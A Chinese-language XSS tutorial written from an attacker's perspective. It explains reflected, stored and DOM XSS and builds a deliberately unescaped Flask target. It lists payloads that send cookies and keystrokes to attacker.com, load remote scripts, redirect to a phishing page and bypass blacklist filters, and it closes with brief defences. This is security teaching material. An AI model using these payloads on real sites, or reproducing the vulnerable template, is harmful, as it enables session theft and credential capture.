一、XSS：前端安全漏洞的破窗效应

跨站脚本攻击（XSS，Cross-Site Scripting）作为 Web 安全领域的经典漏洞，至今依然是攻防对抗中的高频话题。它的核心问题在于，攻击者能够在受害者的浏览器中执行恶意脚本，从而实现数据窃取、会话劫持、钓鱼攻击等一系列破坏。XSS 的威力不仅在于入侵的手段简单，还在于其后续的攻击链条可以无缝衔接，形成更具威胁的攻击。

在本章节中，我们先从技术原理的角度拆解 XSS，分析它的三种经典类型及其触发条件。与此同时，还会阐述 XSS 如何成为攻击链的关键起点。

1.1 XSS 的三种经典类型

黑客示意图

反射型 XSS

反射型 XSS 是最直观的跨站脚本攻击形式。它的触发机制是，恶意代码通过 URL 参数传递给服务器，并立即在响应中被返回。这种攻击依赖于用户点击带有恶意代码的链接。

触发场景：

  1. 用户访问了一个带有恶意 payload 的 URL，例如：

    2. <pre><code> https://example.com/search?q=&lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt; `

  2. 页面直接将 q 参数的内容插入到 HTML 中，形成未转义的代码执行。

攻击链思路：

  • 信息收集：寻找未转义的输入点。
  • 注入测试：提交简单 Payload 验证页面是否存在反射。
  • 编写恶意代码：利用 &lt;script&gt;、&lt;img onerror&gt; 等元素植入攻击逻辑。

存储型 XSS

存储型 XSS 与反射型的区别在于，恶意代码会被永久存储在服务器端（例如数据库）中，并在特定页面中被展示给其他用户。这种攻击通常针对在线留言板、评论区等交互式功能。

黑客示意图

触发场景：

  1. 攻击者在目标网站的表单中提交恶意脚本，例如：

    2. ` &lt;script&gt;document.cookie&lt;/script&gt; `

  2. 服务器将这段内容存储，并在显示页面时原样返回，导致其他用户访问时中招。

攻击链思路：

  • 信息收集：寻找用户输入被存储的场景。
  • 测试存储点：注入无害代码验证是否被存储与回显。
  • 制造攻击：利用该存储点大规模传播恶意脚本。

DOM 型 XSS

DOM 型 XSS 与前两种类型的最大区别在于，它不依赖服务器端的响应，而是直接在前端 JavaScript 中实现代码执行。换句话说，这种攻击的成因是前端开发过程中对用户输入的处理不当。

触发场景：

  1. 页面的 JavaScript 代码直接操作 URL 参数、DOM 元素或其他用户可控的输入。
  2. 攻击者在 URL 中注入恶意脚本，绕过前端的逻辑，达到执行效果。

攻击链思路：

  • 信息收集：分析页面的 JavaScript 逻辑，寻找可控点。
  • 注入测试：利用开发者工具或 URL 参数，输入运行代码的 Payload。
  • 精准攻击：根据前端逻辑定制恶意脚本。

---

1.2 攻击链中的起点

从攻击者的角度，XSS 往往只是攻击链条的第一步。在成功执行恶意脚本后，可以实现多种后续操作：

  1. 窃取 Cookie：
  • 攻击代码：&lt;script&gt;fetch(&#039;http://attacker.com?c=&#039;+document.cookie)&lt;/script&gt;
  • 目标：通过偷取受害者的会话 Cookie，冒充其身份访问目标服务。
  1. 伪造钓鱼页面：
  • 利用 iframe 或 JavaScript 重定向，诱导用户输入敏感信息。
  • 代码示例：

    • `html &lt;script&gt; window.location.href = &quot;https://phishing-site.com/login&quot;; &lt;/script&gt; `

  1. 加载远程木马：
  • 通过 &lt;script src&gt; 标签加载远程恶意脚本，在受害者浏览器中执行更复杂的攻击逻辑。
  1. 绕过 CSRF 限制：
  • 利用 XSS 注入恶意表单提交操作，配合 CSRF 攻击执行敏感操作。

---

黑客示意图

二、搭建你的第一条 XSS 攻击链

没有真实的环境，一切攻击都是纸上谈兵。为了演示具体的 XSS 攻击手法，我们需要构建一个简单的靶场，同时控制实验范围以确保安全。

2.1 环境搭建

搭建一个基础 Web 应用

我们使用 Flask 搭建一个简单的 Web 应用程序，并人为植入 XSS 漏洞。 </code></pre>python

flask_xss_demo.py

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/search') def search():

从 URL 参数中获取用户输入

query = request.args.get('q', '')

直接将用户输入插入到 HTML 模板中，故意不转义

template = f"<h1>Search Results for: {query}</h1>" return render_template_string(template)

if __name__ == '__main__': app.run(debug=True) <pre><code> 运行上述代码后，访问 http://127.0.0.1:5000/search?q=&lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt; 即可触发反射型 XSS。

靶场改造

在实际场景中，XSS 通常需要辅助的 HTML 元素或 JavaScript 逻辑来触发。我们可以通过以下方式增强靶场的复杂度：

  • 添加留言板功能，用于模拟存储型 XSS。
  • 在前端 JavaScript 中增加动态 DOM 操作代码，模拟 DOM 型 XSS。

---

2.2 编写完整的攻击 Payload

反射型和存储型 XSS 的核心是构造一个恶意 Payload，使其能够执行任意代码。以下是一些经典的 Payload 示例：

偷取 Cookie</code></pre>html

<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie;</script> <pre><code>

键盘输入记录</code></pre>html

<script> document.onkeypress = function(e) { fetch('http://attacker.com/log?key='+String.fromCharCode(e.keyCode)); } </script> <pre><code>

远程代码注入

通过利用 &lt;script src&gt;，可以直接调用远程服务器上的恶意 JavaScript 文件：</code></pre>html <script src="http://attacker.com/malicious.js"></script> <pre><code> ---

三、绕过防御的艺术

XSS 攻击并非总是简单直接，因为现代 Web 应用通常会有一定的防御机制。以下是常见的绕过技术。

3.1 绕过简单的黑名单过滤

当目标应用通过黑名单方式阻止某些关键词时，比如 &lt;script&gt;，我们可以利用编码或混淆技术。

HTML 编码绕过</code></pre>html

<svg onload=alert(1)> <pre><code>

分片绕过

将攻击代码分成多段，利用浏览器的自动拼接机制：</code></pre>html <scr<script>ipt>alert(1)</scr<script>ipt> `

---

四、如何避免 XSS 攻击？

尽管我们的目的是研究攻击，但防御同样重要。作为总结，以下是防御 XSS 的核心措施：

  1. 输出编码：对用户输入的内容进行 HTML、JavaScript 转义。
  2. 输入验证：通过白名单严格限制用户输入的内容。
  3. Content Security Policy (CSP)：使用 CSP 限制页面可以加载的资源。
  4. HttpOnly Cookie：通过 HttpOnly 属性防止脚本访问 Cookie。

---

五、总结与思考

XSS 是一个古老却仍然常见的问题。不论是反射型、存储型还是 DOM 型，它们都源于对用户输入缺乏严谨的处理。作为攻击者，XSS 是一个非常有价值的切入点；而作为开发者，确保输入与输出的安全是责任所在。希望通过这篇文章，你能从攻击者视角更深刻地理解 XSS 的威胁，同时在实际工作中避免踏入类似的安全陷阱。